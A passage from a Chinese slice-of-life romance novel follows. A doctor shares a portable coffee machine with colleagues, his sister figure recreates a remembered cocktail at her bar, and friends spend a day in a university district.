“然后那一次,是有一天下雨,他们单位的副局长,括弧,标注,女领导,车坏了嘛,碰到这小伙子,就拜托对方载自己一程,为表亲和,领导就坐在了副驾,看到那个贴纸了,还调侃说我是不是不该坐这儿啊,他就很不好意思嘛,说没事没事,这是女朋友贴着玩的。” “然后领导就还是坐了副驾?”齐眉一边整理枕头,一边随口问道。 蒋乐亭点点头,“是啊,就坐了嘛。” 然后他回去以后,就把这事跟女朋友说了,说今天我送我们领导回去,领导坐了副驾,跟你报备一下。 “然后呢?”齐眉问道,把脸埋进枕头里嗅了嗅。 四件套昨天刚换过,似乎没有留下任何一丝江问舟的味道。 她有些遗憾地叹口气。 蒋乐亭被她的举动逗乐,停下话头,吐槽了她一句:“差不多得了,你这个恋爱脑。” “……我才没有。”齐眉嘟囔着反驳。 但反驳完又觉得,那咋啦,哼哼,这算什么恋爱脑,她这明明是取悦自己! 她喜欢,她才做,她要是不喜欢了,才不会这样呢! 蒋乐亭也不知道齐眉是想到了什么,突然就哼出声来,忍不住笑出声,故意问她:“宝,你不会是在心里偷偷骂我抢了你哥的床位吧?” “……哎呀!”齐眉脸上发热,推了她一把,嗔怪道,“你的八卦到底还继不继续说了?” “说说说。”蒋乐亭笑嘻嘻地应道,接着还没说完的事往下讲,“本来他以为主动跟女朋友说了,应该没问题的,而且是带的领导,职场人都懂,对吧?谁知道女朋友知道以后,还是很生气,跟他吵了起来,说他就是没把自己放在心上,今天能把副驾驶给别的女人,明天就能把别的什么给别人。” 齐眉听得一愣一愣的:“……啊?真……真这么想啊?” 确定不是在搞抽象? 蒋乐亭呵呵笑了一下:“没想到吧,真的会有人是这么想的,而且……” 她叹口气才继续:“而且她还为此提出分手,非常坚定,男方怎么挽留都不行,分了以后小伙子颓废大半个月,工作老是出错,搞得单位的人都知道了,那位领导还特地跟他赔礼道歉,表示想跟姑娘联系,解释一下,看能不能解决问题,结果人家都把他全放心拉黑了,根本联系不到。” 齐眉忍不住哇了一声:“比我当时还要……儿戏。” 听到她提以前,蒋乐亭失笑:“你那怎么一样,你那是……” 她顿了顿,不太想说从前,于是想了想,问齐眉:“阿眉,你现在觉得快乐吗?” 齐眉一愣,扭头看向她,在她的眼睛里看到认真的关切。 她心里一暖,用力点点头,嗯了一声。 第60章 第六十章(二合一)我是喜欢炫耀。…… 周四,江问舟的全天门诊日,但上午难得病人不多,竟然让他在十二点刚过的时候就可以走了。 惊讶的同时,他还有点……不知道该做什么好? 吃午饭,查房,两件事做完后他回到办公室,坐在那儿好一阵出神。 收完病人回来的秦一鸣拍拍他肩膀,笑着问道:“老大,想……什么呢?” 问完还冲他揶揄地眨眨眼。 读作什么,写作妹妹呀,老大。 江问舟意会,顿时有些尴尬,也有点无奈,摇摇头:“……没什么。” 应完他赶紧转移话题问蔡朝他们:“你们有没有哪本病历要签字的?” 沈媛立刻就把一本病历递过来,他接过,翻了两页,忽然又问:“有要喝咖啡的吗?只有冰美式。” 顿了顿,又说:“当然,想喝热美式也可以。” 反正就是只有美式。 大家以为他是要点外卖,有些好奇:“怎么只有美式,今天是哪家只有美式才搞活动?” 不应该啊,这又不是什么新品,少见这种经典款单拎出来做活动的。 江问舟摇摇头,“我带了咖啡粉,去对面便利店买冰杯回来就可以自己做了。” 大家一头雾水:“啊?在办公室自己做手冲啊?” 这么好闲情逸致?居然这么有空?抓去开台! “不是,是……”江问舟抿唇笑了一下,“家里人最近买了个便携式咖啡机,家里不太用得上,给我拿过来用了。” 人是会对自己不了解的东西产生好奇的,大家当即就说要喝,美式苦不苦无所谓,主要是对这个咖啡机到底有多便携很感兴趣。 隔壁组的方主任还叫他们组的学生:“小黄,你带个师弟,帮忙跑一趟腿,去对面的便利店买几个冰杯和一些雪糕回来。” 江问舟看学生应声往外走,忙道了声谢。 至于咖啡粉,齐眉给他准备的,他当然是不可能大方到一次性就用完的,早上来上班的时候,他想到要请同事们喝咖啡,便提前外卖订了咖啡豆,让店家顺便磨成粉送过来。 冰杯买回来,江问舟也把手头的病历检查完签好字了,将笔往口袋里一插*,接过冰杯就往休息室走。 “老大等等我。”蔡朝立刻起身要跟过去,“让我来看看这个咖啡机到底是什么好东西。” 他一说要去看,陈妍也立刻说:“我也要看!” 秦一鸣和沈媛俩人对视一眼,忍俊不禁地笑出声,真是两个活宝。 于是他们俩也跟着去,学生也好奇,成群结队地跟上,这两拨人走之后,办公室一下空了大半,那就…… “我们也去凑凑热闹呗,别忙啦,忙也忙不完,歇会儿。” 这话迅速得到其他人的认同,很快,休息室里就挤了一群人。 江问舟在烧开水,扭头见到蔡朝他们在认真研究那个咖啡机,旁边还围了一堆人,有人在讨论说明书,有人打开手机搜同款看价格,不由得嘴角抽抽。 “好像很厉害的样子,说咖啡粉和胶囊咖啡都可以用。” “那还挺方便的,也不占地方,多少钱?” “……啊、找到了,是这家,价格……这款应该是能加热常温水的吧,六百多。” “居然还不便宜……” 江问舟忍不住摇摇头,突然感觉像是在上实验课,这群好学的学生对实验对象非常好奇,探索欲在蠢蠢欲动。 于是等水烧好之后,他先给自己做了一杯,就当是做了一个使用方法的示范操作,然后把仪器递给秦一鸣:“你来?” 他犹豫一瞬,还是把丑话说在了前头:“大家也看到了,这东西不算便宜,所以……希望大家爱惜一点使用。” 说白了就是,搞坏了你们得照价赔偿。 “应该的应该的,我们保证小心。”陈妍一面盯着秦一鸣往分仓里放咖啡粉的动作,一面爽快应道。 江问舟应了声好,对秦一鸣说:“先做两杯,给主任和护长送一下,再问问还有谁要喝,要是冰杯不够了就再去买点,回来我报销。” 秦一鸣冲他比划了一个OK的手势,“我办事,你放心。” 于是江问舟放心地离开了休息室,人也太多了,这跟发鸡蛋现场有什么区别! 他走了之后,休息室里气氛更加热闹,还有同事笑嘻嘻的和秦一鸣他们开玩笑:“难怪人家能当你们领导哈。” “这年头又不是论资排辈的时候了,没两把刷子谁服气。”秦一鸣随口应道,握着咖啡机一摁开关,萃取启动。 只一眨眼的功夫,就看见有咖啡液流进装着冰块和纯净水的杯子里,迅速融入水中,将透明的水染成棕色,盖上杯盖,轻轻摇晃两下,除了杯子上没有店铺信息,看上去和店里卖的没什么区别。 “师妹,麻烦给护长和主任先送过去。”秦一鸣做好两杯,招呼组里的学生帮忙跑个腿,接着给自己做了一杯,然后问谁要试试。 也就蔡朝和陈妍两个活宝当玩具,抢着自己动手,其他人都乐呵呵地让他们代劳,以至于到最后他们都觉得自己强得可怕。 郭主任和蒋护长拿到学生送来的咖啡,都有些惊讶,少不得问一句:“谁点的咖啡?” 学生笑嘻嘻地应道:“江主任贡献的咖啡机咖啡粉和冰杯,秦医生给您做的。” 居然是自己做的?这热闹得去看一下。 等到了现场,看到大家人人手捧一杯咖啡在说说笑笑,蔡朝还在那儿耍宝:“您的冰美式,请拿好,欢迎下次光临。” 郭主任看了一会儿,没看见江问舟,就问他去哪儿了,“他提供的工具和原料,他不喝?” 沈媛笑着应道:“怎么会,大概都已经喝完了吧。” “还是回家好啊,这好日子也是让他过上了。”郭主任饶有兴致地又观摩片刻,忍不住啧声道。 听到他这句话大家都一阵哄笑,方主任还说是年轻人才有这心思,像她这岁数上有老下有小的,每天除了上班还得管孩子管家务乱七八糟,哪有心情煮什么咖啡。 “刚才陈妍他们还搜了呢,这玩意儿都要大几百,又够小孩儿一周的补课费了。” 果然有孩子的和没孩子的想法就是不一样,但郭主任一阵失笑,说:“他这也不是自己有心情,是他家……家里人是做这行的,他纯属沾光。” “我们老大妹妹那儿超好玩!”陈妍歘一下抬头,兴致勃勃地安利,“有很多好喝的小甜酒,小吃也不错,调酒师的歌单很有品,环境还不错的,要是觉得无聊可以问问有没有可以玩的东西,上次我们去,媛姐他们就是玩的桌游,对吧?” 她最后看向沈媛,沈媛点点头:“不过那个桌游太……大了,我们玩一晚上都没玩到结局,估计得玩六个小时才行。” “嘻嘻,我没玩,我去吧台看调酒师调酒了,幸好没加入,不然脑袋非秃了不可。”陈妍有些幸灾乐祸。 沈媛吐槽她:“你那是不想加入吗,不是说看不懂规则吗?” 陈妍立刻尖叫:“啊啊啊!不准揭我老底!” 方主任边听边笑,过了一会儿才说:“可是我记得你们是晚上去的吧?” 她记得那天陈妍还发了朋友圈,转天上班还津津乐道大半天来着。 “那就可惜了,我晚上要是有时间,还要陪我女儿去上美术课,哪里有空去什么酒吧啊,什么消遣娱乐,当父母以后就自动没有了,哪天我和我爱人要是能不用管孩子不用管工作,就俩人安安静静在家坐着一起看个电视,都觉得爽得不得了了。” 方主任说完摇摇头,无奈地叹口气。 有家里是男孩的同事就说:“你女儿都初中了,还好了,姑娘多好带,除了担心担心学习,担心担心早恋,总体来说比气死人的臭小子好多了。” “都一样,有些孩子他就是比较活跃,精力旺盛,就比较闹腾,不关男孩女孩事,我女儿你以为多文静啊,小疯子一个。” 方主任吐槽完又忍不住笑,边笑边叹气。 郭主任在一旁听着呢,这时笑着说了句:“等他们长大了,读书离开家,去外地工作生活,一年到头就回那么一两次,你们又觉得家里太冷清啦。” 大家聊得热闹,从年轻人的吃喝玩乐,到中年人养家糊口的日常,又说到父母退休后在做什么,跟开茶话会似的。 江问舟在办公室里坐着,等半天发现一个人都没回来的,只有他自己在这儿坐着,一时觉得有些奇怪。 但也没有细想,而是更关心齐眉发来的信息。 尽管前一晚睡得很晚,第二天大家还是八点多就起了,简单洗漱一下就出门,先把年年送去宠物店,再驱车直奔翠湖宾馆。 “翠湖公园的精致很不错的,每年元宵和中秋都会在那儿办灯展,翠湖宾馆就在边上,坐的位置要是好,抬头就是公园里面的湖景。” 齐眉一面看着路况,一面给大家介绍,又说:“喝完茶肯定下午了,看看天气怎么样,好的话我们就去划船呗?” 一句话惹得大家又开始唱歌了,把我们荡起双桨唱得九曲十八弯,齐眉觉得这个船也是划不动一点。 还是去唱歌吧!又不用晒,还有果盘可以吃! 所以当江问舟中午问她:【你们今天除了喝茶,还有什么节目?】 她回的就是:【太晒了[叹气]我们决定去KTV,学院路有一家KTV很好吃[期待]】 江问舟:【?】 这对吗?你确定是KTV而不是美食城? 齐眉:【你怎么知道它以前是个美食城来的[期待]因为美食城生意不好,老板就改成了KTV,但是学生们又说只唱歌没吃的很可惜,老板就又把美食这块加上了,可以一边唱歌一边点小吃到包厢,我觉得很不错[期待]】 齐眉:【不过你是不是没来过,改天我带你来玩[猫猫拍胸脯.jpg]】 原来是这样,江问舟恍然大悟,跟她说玩得开心点,又让她不要吃太多冰的东西,聊完抬头一看,已经到两点了。 一时也没什么事,他想要不干脆早点去门诊吧,有些病人来得很早,他早点给他看了,时间还宽裕点,能多解释两句。 所以首先……再去搞一杯咖啡。 端着才化到一半的冰杯走进休息室,发现大家都在,聊得还挺热闹,蔡朝和陈妍跟玩什么经营游戏似的,一口一个客人要点什么…… 江问舟:“???” “你们这是……”他有点看不懂地皱起眉头,“过家家酒,今天是咖啡厅play?” 俩人嘻嘻哈哈,问他:“这位客人需要点什么?” 江问舟嘴角一抽,递过去一罐咖啡粉,“你们店里能帮忙加工自带的咖啡粉吗?” 很配合嘛! “可以的,我们店非常人性化,可以提供代加工服务的。”蔡朝笑嘻嘻地接过密封罐,一边往粉仓里填咖啡粉,一边问江问舟,“老大你怎么买这么多咖啡粉?” “这个是家里给我准备的。”江问舟淡定地回答道,“那个是我给你准备的。” 懂了,这是特供。 郭主任听见,扭头看向他,调侃了一句:“改天我问问小齐,都给你带什么好东西了。” 江问舟多少有些不好意思,但还是笑笑,镇定道:“没什么好东西,就是在家里喝惯了这个口味而已。” 等蔡朝给他把咖啡做好,他道了声谢,接过咖啡后问:“下午是哪位同学跟我的门诊?” “这才两点,你这么积极。”隔壁组的同事忍不住吐槽,“拒绝内卷啊,下次我的病人问我,为什么江医生可以提前开门我不能,我怎么回答!” “你就跟他说因为江医生想晚上早点下班,家里有客人要招待。”江问舟笑着应道,又扭头看郭主任,解释道,“是西西的大学同学,严飞教授的学生蒋乐亭她们。” 郭主任恍然大悟地点点头,哦了声,道:“原来是老严的学生,帮我带个好。” 江问舟应了声,领着学生匆匆走了。 到了门诊,提前过来等候的病人看见他,惊讶地问道:“这还不到两点半呢,主任来这么早?” “家里有点事,晚上想早点下班。”江问舟还是这一句解释,等电脑开了,就把病人叫进来。 晚上倒也确实比平常早了一点下班,大概早半个小时吧,到齐眉店里也才晚上八点。 进门就听见有人问:“老板,这个酒能不能做啊?” ————— 晚上八点,夜幕被城市的霓虹灯染亮,店里渐渐热闹起来。 今天是有些特殊的。 有一位和齐眉他们还蛮聊得来的熟客过两天要结婚,决定在店里办一场婚前party,表示他们要告别人生的旧阶段了。 说是会来三十多个朋友,齐眉原本问她需不需要包场,这样都是自己人,玩得嗨一点。 但客人拒绝了,不仅拒绝她的提议,还表示欢迎其他的客人加入一起玩,凡是今天到店的客人,她都要请他们喝一杯酒。 说是:“越多人来,我收到的祝福越多,独乐乐不如众乐乐嘛!” 好好好,搁酒吧搞上流水席了是吧?好的,老板,一定给您办好。 于是今天照常营业,但又和平时有点不一样,佟林找婚庆公司的人来搭了个拱形花架,各色玫瑰、满天星、洋桔梗等等,将花架点缀得五颜六色,然后在进门左手边竖了个手绘新郎新娘Q版图像的KT板,顶头用花体字写“让我们恭喜这对新人”。 这样一布置,每一个进来的客人都会好奇问一嘴,等问明白原委,又会主动跟新人道谢,并且送上一句新婚快乐的祝福。 于是店里今晚比平时更加热闹,还有人拿着一张照片来问齐眉能不能帮忙调一杯一样的酒。 齐眉低头看向照片,马天尼杯里盛放着微透明的酒液,还有一片橙皮做装饰。 客人说:“甜甜的,有很明显的橙子味,酒味比较淡,很上头,但是我不记得它叫什么名字了。” “您是在哪儿喝过的?”齐眉问道,又叫田乐也来看,“有没有这个酒觉得很眼熟?” 她一开始以为是干马天尼,但干马天尼跟甜甜的橙子味毫无干系。 客人回答说是在国外的一家餐厅,因为时间过得有点久了,所以实在想不起来更多信息。 她抱歉道:“要是实在复刻不了也没关系,你们可以给我推荐一款柑橘味的酒吗?” 江问舟就是这个时候来的,跟佟林点头打过招呼,便靠在吧台边好奇地听着齐眉和客人的对话。 店里酒单上没有的酒,也可以让调酒师做吗? 可是饭店里菜单上没有的菜,似乎大家也不会拿着一张照片就问老板能不能给做? 齐眉是真的想不起来照片上这个酒在哪儿见过,见田乐只是思索,她便只好捧着脸抬头,看见江问舟来了,便忙问:“你吃晚饭没有呀?” 江问舟摇摇头,跟她开玩笑:“我就是来化缘的,老板您行行好,赏口热饭吃吧?” 齐眉闻言忍不住嗔他一眼,转头朝窗口里面问汪淼现在忙不忙,不忙的话帮忙给江问舟煮一碗泡面。 “小江哥来啦?”汪淼一面说话,一面从窗后探头出来看,同江问舟打了声招呼,“稍等,很快就好,先垫垫肚子呗。” 说完递出来一份炸鸡,齐眉把炸鸡转交给江问舟,继续看田乐苦思冥想。 正想劝她算了,毕竟客人都说可以换一个柑橘调的酒了,可还没来得及开口,就听田乐率先向客人问道:“您喝的时候,是不是有起泡酒的感觉?” 客人想了想,点点头,但又说:“其实也不是特别肯定,大概应该是有的。” 田乐点点头,扭头看向齐眉,问道:“你记不记得过年的时候,我们跟老杨他们吃饭,他给我们调的那个酒,说是在伦敦喝到的,觉得特别好,就自己试了一下,想起来没?” 老杨是陆阳管着的一个场子的主调,和田乐很熟,后来田乐带着齐眉和他一起吃过几次饭,就也熟悉了起来。 旧年十二月的时候老杨结婚,陆阳给他批了二十天的婚假,他和爱人就兴致勃勃地出国旅行去了。 快要到过年的时候才回来,回来就组局去他家吃饭,说是给大家带了手信,吃饭的时候他还说学到了一款新酒,调给他们喝喝。 但毕竟是半年前的事了,加上店里灯光昏暗,齐眉看到照片时只觉得眼熟,却想不起来在哪儿见过,现在被田乐提醒,立刻便恍然大悟。 “……啊、对对对,那个也是加了橙皮的,他说人家店里的就是加橙皮装饰的,我说怎么看着眼熟,这个酒在餐厅官网有配方的呀。” 但具体哪个餐厅,田乐也不太记得了,说要问问老杨。 她打电话的时候,齐眉就跟客人商量:“我们没有在店里做过这款酒,需要试一下配比,可能要花比较久的时间,您介意吗?或者我给您介绍一下其他柑橘风味的酒?” “没关系,我没什么事,可以慢慢等的。”客人笑眯眯的,看上去很好说话,“我也很好奇你们是怎么做出一杯之前没有做过的酒的,需要试喝吗?我可以的哦。” “那再好不过了。”齐眉立刻向对方道谢,说着还看一眼在旁边啃炸鸡的江问舟,脸上的笑顿时就垮了。 “哎呀,你就干吃啊?”她无语地朝这人甩一个白眼,“口水多过茶,所以不用喝的也能把炸鸡吃下去?” “这不是看你忙么,再说有沙拉酱也还好……”江问舟有些赧然,抿抿唇,“但如果有一杯苏打水就更好了。” “什么苏打水,苏什么水,没有。”齐眉没好气道,接着弯腰从吧台下面马上来一个椰青,拿工具开了孔,这才问他,“直接喝还是要倒出来?” “直接喝吧,省一个杯子。”江问舟笑眯眯地道。 齐眉便将椰青递给他,一边给他找吸管,一边问田乐:“怎么样,老杨怎么说?” “配方找到了。”田乐举起平板给她看,“梨味伏特加,接骨木花糖浆,普罗塞克起泡酒,这几样东西咱们都有吧?” 忙完一个单子的佟林也好奇地凑过来看,问道:“比例是多少?” “官网没写,这个比例是老杨自己琢磨的。”田乐说完把平板递给佟林。 这头齐眉已经把要用到的起泡酒找了出来,然后开始冰杯。 客人很好奇的问:“好奇怪,你们说的三个主材,没有和橙子橘子有关的,怎么我喝起来是一股橙子味?不会搞错了吧?” 江问舟一边吸溜着冰镇过后清凉又清甜的椰子水,一边好奇地注意着他们的对话。 齐眉笑着解释:“应该是糖浆和酒里面都有这种风味,接骨木花糖浆本身就有果香和柑橘皮的清爽,恰好普罗塞克起泡酒也是果香做主导,梨、蜜瓜和柑橘类水果的香味,它们俩搭在一起,柑橘类的果香被放大了,所以你才会有这种感觉吧。” 她说完,田乐就接了一句:“接骨木花糖浆的兼容性很强,和金酒搭配可以增强植物的草本气息,和伏特加搭配又可以突出花香,和起泡酒更是绝配,比如它和普罗塞克凑到一起,可以提升花果香的层次。” “原来是这样啊,好有意思。”客人惊讶地笑起来,“我开始期待成品了。” 这时后厨的出餐铃响了一下,田乐回头,汪淼把一份泡面递出来,“小江哥的晚饭。” 田乐忙接过,将托盘递给江问舟,还笑着说了句:“江医生今晚好像来得早一点?” “今天下班早一点。”江问舟接过托盘,道了声谢。 泡面浓郁的香味很霸道,立刻就吸引了正在等酒的客人的注意。 “诶,你们这儿除了酒,还提供晚餐吗?” “您说泡面?”田乐笑着摇摇头,“这个不提供的,属于是员工宵夜,我们打烊之后肚子饿了会吃一点。” 客人眨眨眼,有些好奇地瞟一眼旁边。 “这是老板的哥哥。”田乐笑眯眯地解释,“不是普通客人啦。” 客人恍然大悟:“难怪……我说你们这儿怎么还有泡面,椰青,而且……” 她说到这里看一眼正往手背上沾了一点酒试味道的齐眉,笑笑。 可能是说刚才齐眉对江问舟的态度太过熟稔。 “乐乐和佟哥试一下?”齐眉道,“是不是不够甜?” 她说着,将一个shot杯放在客人面前,将酒倒过去一杯,笑道:“您也试试,看和印象里的还有多少差距?” 三个人都试过了,一致认为确实是味道淡了一点,所以齐眉第二杯便加大了接骨木花糖浆的比例。 但是第二杯做出来味道又有些过甜了,齐眉只好再次调整。 第三杯做好的时候,有两位熟客过来点单,看见江问舟,还笑嘻嘻地同他打招呼:“江医生还在吃晚饭呐?” 江问舟笑着应了声是,同其中一位在药企工作的客人寒暄了两句。 另一位则是好奇齐眉在做什么,“老板这是在调新酒?” “对于我们来说是新酒,但对这位美女来说可不是。”齐眉笑着应道,把一点酒液滴在手背上,抿了抿。 “好像可以了。”她轻咂一下舌尖,招呼佟林和田乐试试,然后问刚来的两位客人,“一起试试吗?” “来来来,试试。”对方笑呵呵地在吧台边坐下。 吧台这儿顿时就热闹起来,江问舟吃完泡面,一边喝着椰子水,一边笑着看大家对着一杯酒聊得热火朝天。 他觉得这会儿吧台更像一个同好会,他们因为对某一种事物的喜欢而聚到一起,每个人都侃侃而谈,而他像是路过误入的路人甲。 然后…… 江问舟的目光转向齐眉,看到她笼罩在柔和灯光里恬静精致的眉眼,眼睛里挂着笑意,嘴角微微翘出闲适的弧度,看起来漂亮极了。 他是一个路人,误入此地,然后对场中最耀眼的那颗明珠一见倾心。 察觉他的目光,齐眉看过去,疑惑地问:“怎么啦?” 江问舟眨眨眼:“我还能再要一个椰青吗?” 齐眉哦了声,又给他开了一个,然后说:“记得给钱!” 真是的,吃一个没问题,吃两个,账要不平了! 江问舟失笑,连应了几声好,才问她:“姚敏她们呢,怎么不见?” “她们去逛夜市了,就是音乐学院后门那里。”齐眉应道,托着腮靠在吧台上,笑吟吟地问他,“咖啡机用了吗,方不方便?” 说起这个江问舟就想笑,嘴唇一抿就是哭笑不得的神色。 “何止方便,简直就是一个极好的……”虽然很不愿意,但江问舟实在想不到更好的形容词,“玩具。” 齐眉惊讶:“……啊?为什么?” 江问舟说起午休时休息室发生的事,既忍俊不禁,又十分无奈,“我感觉他俩以后失业了,去咖啡店打工都不用怕饿肚子。” 齐眉听完哈哈大笑,乐不可支地问:“大家都这么喜欢这个咖啡机吗?” “贪新鲜而已,而且大家坐在一起吹牛比较有意思。”江问舟说着看她一眼,揶揄道,“跟你一样,你买它就是图个新鲜,自己也不用。” 自己做多麻烦,远不如外卖方便。 齐眉一听这话,不乐意了,哼了声:“那你不也是。” “我可不是。”江问舟老神在在,语气慢悠悠的,“我是喜欢炫耀。” 齐眉微微一怔,看到他眼里掺杂着笑意的认真,不由得有些不好意思,咬着唇转开视线。 江问舟也笑笑,没有再继续这个话题。 有些话只需要点到即止。 一直坐到十一点,姚敏她们回来了,大家说了几句话,等齐眉洗手收工,江问舟便同她们一起离开。 在停车的路口分开,江问舟跟齐眉交代周末的行程,“我明天值班,周六白天要参加学术讲座,晚上我回家吃饭,要不要带年年一起回去?” 齐眉点头应好,说:“我明天也上班,周六和大家去大学城那边玩,到时候我把年年放宠物店,你回去的时候顺便去接它?” “周日过生日,订好餐厅没有?”江问舟嗯了声,接着问道,顺便伸手掖了一下她耳边的碎发。 “还没有呢。”齐眉有些苦恼,“不知道在哪儿吃好,要不就去容城大酒店?” “也可以,然后回家切蛋糕,和金金一起切,我们给它订一个宠物蛋糕,你觉得怎么样?” “好好好,这个好,要够两个……小朋友吃的,年年也吃。” 齐眉说完突然觉得有意思,忍俊不禁地嘿嘿出声来。 灯火照耀得她的笑脸像是被点亮了一般,熠熠生辉,又引人入胜。 江问舟忍不住低头去抱她,齐眉一边听着他别忘了吃药的嘱咐,一边从他胳膊上往停车的方向看,看见姚敏她们趴在窗边冲她挤眉弄眼,又不好意思地扭头钻回了江问舟怀里。 拖着声音嘟囔道:“知道啦!” 70-80 第61章 第六十一章(二合一)质疑江问舟,理…… 夏天天黑得晚,将近日暮的阳光余晖仅剩一丝温柔醇厚的金黄,在遥远的天边虚虚地挂着,像黛色山峦头顶的发饰。 车轮碾过平整宽敞的村道,速度减慢下来,最终慢慢停靠在一扇黑色的大门前。 车窗缓缓下滑,一个毛茸茸的白色脑袋迫不及待地往外伸,冲着对面的工地呜呜吠了一声。 江问舟啧了声,让傻狗赶紧闭嘴:“安静点,等下邻居该对你有意见了。” 话音刚落,那家的主人便朝这边张望过来,笑着跟他寒暄:“江医生回来看爸妈啊?” “回来吃个饭。”江问舟也赶紧回答道,跟对方聊了几句他家房子的事。 正听对方说到天气太热,又时不时下雨,施工速度快不起来,大门就开了,孙茂芸探头出来,招呼他先把车开进去。 等停好车,先开门把猫狗放下去,江问舟刚下车就听母亲问:“西西怎么没回来?” “她跟同学去大学城玩了。”他一面应,一面开了车尾箱,将带回来的烧鹅拿出来。 孙茂芸接过,一边埋怨他乱花钱,一边又笑眯眯的让他快回去吹空调。 家长有时候就是这样口是心非,江问舟笑笑,走到门口就撑着门招呼年年赶紧回来。 两只从他身前跑过,冲进屋里,似乎扬起一阵沙尘,让他忍不住闭了闭眼。 “哟,你们回来了,这么多天不见,你们是不是都瘦了?”江眀琮笑着揪住年年的耳朵,把它拉到身边来。 江问舟说怎么可能,“换毛了而已,毛少一点,看着就瘦了。” 但其实还是很像棉花糖,摸起来蓬松得很。 江眀琮也问齐眉怎么没回来,但和孙茂芸不一样的是,在听说齐眉没回来的原因之后,他还问了句:“西西不在,你怎么接到年年的?” 江问舟呼吸一顿,真想跟他说爸你别试了,有什么要不直接问吧:) “她出门前把年年放在平时寄养的宠物店,我开完会顺便去接的。” 江眀琮看着他平静的神情,半晌才哦了一声。 最后倒也没说什么,江问舟也看不明白他到底在考虑什么,索性也不多想,起身去厨房问孙茂芸有没有什么要帮忙的。 “没有你什么事。”孙茂芸先是拒绝,但说完又顿住,当场改口,“哦,不对,有一件事要你帮忙。” 江问舟转身的动作停住,又转回来,“什么事?” “冰箱里有蛋糕,你先吃点垫垫肚子。”孙茂芸笑眯眯地道。 江问舟顿时哭笑不得:“这也叫让我帮忙,帮的什么忙,帮忙吃好吃的?” “哪儿来的蛋糕?”他拉开冰箱门一看,“还是生日蛋糕,谁生日了?” “隔壁家给的啦。”孙茂芸笑眯眯道,“他家小朋友今天生日,中午切的蛋糕,给我们家送了两块,你爸又不能吃,正好你要回来嘛,就给你留着了。” 她还说:“可惜西西没回来。” “人家吃大餐去喽,哪里还看得上一块小蛋糕。”江问舟吐槽道,语气有些揶揄。 其实远不算是大餐,但却很有意思。 容城大学城有两个商业区,其中一个在科学馆附近,齐眉她们从科学馆参观出来,下午四点左右光景,见时间还早,便决定去附近的商业区转转。 从地图上看,这个商业区很小,被两条交叉呈“十”字的公路分割,商业区在南,北是外语大学的学生宿舍区,中间是一条大概只有八百米的街道,穿过这条街就可以进入内环路,紧挨着公交站的是一个小型购物广场。 齐眉看完地图,兜了个圈,将车停在购物广场前面的停车场,然后和姚敏她们步行进入商业区。 一条街过去都是商铺,她们走了一圈,看到几乎全都是吃的店,某某蚝仔烙某某咸骨粥,还有炸鸡奶茶寿司,小吃街什么样子这里就什么样子,唯一遗憾的是,都还没开门。 “下午学生得上课啊,肯定没生意,都晚上才开门的。” “前面好像有个精品店,去看看吗?” “去呗,等等,先买个奶茶。” 几个人往奶茶店走去,在奶茶店门口碰到一个在慢悠悠喝奶茶叹世界的奶奶,笑眯眯地问她们是哪个学校的,大几了。 大家被问得笑出声来,连忙谢谢奶奶夸她们年轻,然后说我们都工作啦,过两年就都三十了。 “不对,不对。”齐眉忽然想到,拍拍蒋乐亭肩膀,“有一个还没工作的,她还读博呢。” 蒋乐亭一噎:“……我谢谢你啊,我争取明年一定毕业。” 刚好奶茶坐好,齐眉便拿自己的那杯去碰了一下她的,笑道:“肯定会顺利的,明天我们去南山寺,给你许个愿,菩萨会保佑你的。” 蒋乐亭刚说了句借你吉言,就听刚才和她们说话的奶奶道:“南山寺很灵的,要是实现愿望了,记得回来还愿哦,不然菩萨会生气的,不好。” 大下午的唯一要紧事就是等吃晚饭,精品店可去可不去,蒋乐亭她们仨干脆就在旁边那张桌子坐下,同这位奶奶闲聊起来。 齐眉主随客便,也在一旁挑了张椅子坐下,边嘬奶茶边看手机,看到江问舟两个小时前发来的信息,说已经接到了年年。 算时间这会儿应该到家了,或者差不多到了,于是她给江问舟回信息问他:【到家了吗?】 江问舟的回复是一张照片。 照片里是一块夹着青提的生日蛋糕,看背景是家里的餐桌。 齐眉:【?还没到明天呢,你就提前帮我和金金吃蛋糕啦?】 江问舟哭笑不得,在治疗组的工作群里翻了半天,找到陈妍发过的一个揉脸的表情包,长按,收藏,退出群聊界面,再点开齐眉的头像,发送表情包。 发完以后想了两秒,又发了两遍。 齐眉被一串*揉脸的表情包搞得有点发懵,表情包再可爱,发一个不就够了? 于是她问:【是不小心多点了两下吗?】 没一会儿就看到江问舟的回复:【多揉你两下。蛋糕是隔壁家小朋友生日送的,爸不能吃,你没回来,我帮你们俩吃,不用谢。】 齐眉忍俊不禁,将他发来的表情包保存之后又发回去给他:【谢谢哥[揉脸.jpg]】 她接着问起干爸干妈的身体怎么样,家里的花长得好不好,金金和年年在做什么,诸如此类的问题,等回过神来,忽然发现周围一片安静。 明明刚才她们还聊得很热闹的…… 齐眉不由得有些怔愣,抬头一看,发现姚敏她们正笑眯眯地看着自己。 而刚才偶遇的那位路人奶奶不知什么时候已经离开。 “……你们什么时候聊完的?”齐眉有些错愕,“怎么不叫我?” “又没什么着急要做的事,叫你干嘛。”徐丹若托着腮笑眯眯道。 齐眉抿着唇有些不好意思地笑了一下,问她们:“还去精品店么?” “想去就去呗,随便看一眼就出来。”徐丹若点点头,“我听说这边晚上很多小吃摊的,一会儿出来看看开始出摊没有。” 吃来吃去还是觉得学校旁边的夜市一条街吃着过瘾,那是一种青春岁月里记忆的味道。 “咱们学校后门那条街的炸鸡柳你们还记不记得?”和徐丹若手挽手走在前面的蒋乐亭忽然回头问道。 齐眉想了想,“带着儿子一起,有两个摊位的那家?” 问完见蒋乐亭点头,就接着问:“那家怎么了?” “这个我知道。”姚敏立刻回答道,“他们不摆摊了,搬进固定门面了。” “真的啊,那还在那条街上么?”齐眉惊讶,“我记得他们家鸡柳很好吃,阿姨跟她儿子做的是两种风格,但都很不错,应该生意还是很好吧?” 那对母子的小摊只卖鸡柳一样东西,能做到从小吃车搬进门面房,可不是那么简单的。 “上次我和亭亭路过就去买了点,正好排我们前面的就是学长学姐,说是从外地回申城玩,特地过来学校转转,又想起她家的鸡柳,特地来买的。” 很多小摊以前在学校的时候未必觉得多好吃,可是毕业离开后偶尔想起却会怀念,若是有机会故地重游,发现它竟然还在,那种惊喜的感觉会超级加倍。 齐眉笑起来:“下次要是我有机会回学校,也去看看,希望他们一直开下去。” 姚敏三人没想到她忽然会这么说,愣了一下才反应过来,连忙说好,笑着岔开话题说起别的同学。 齐眉见状抿唇笑笑,刚想说什么,却忽然意识到,自己似乎已经不太在意提起以前的事了。 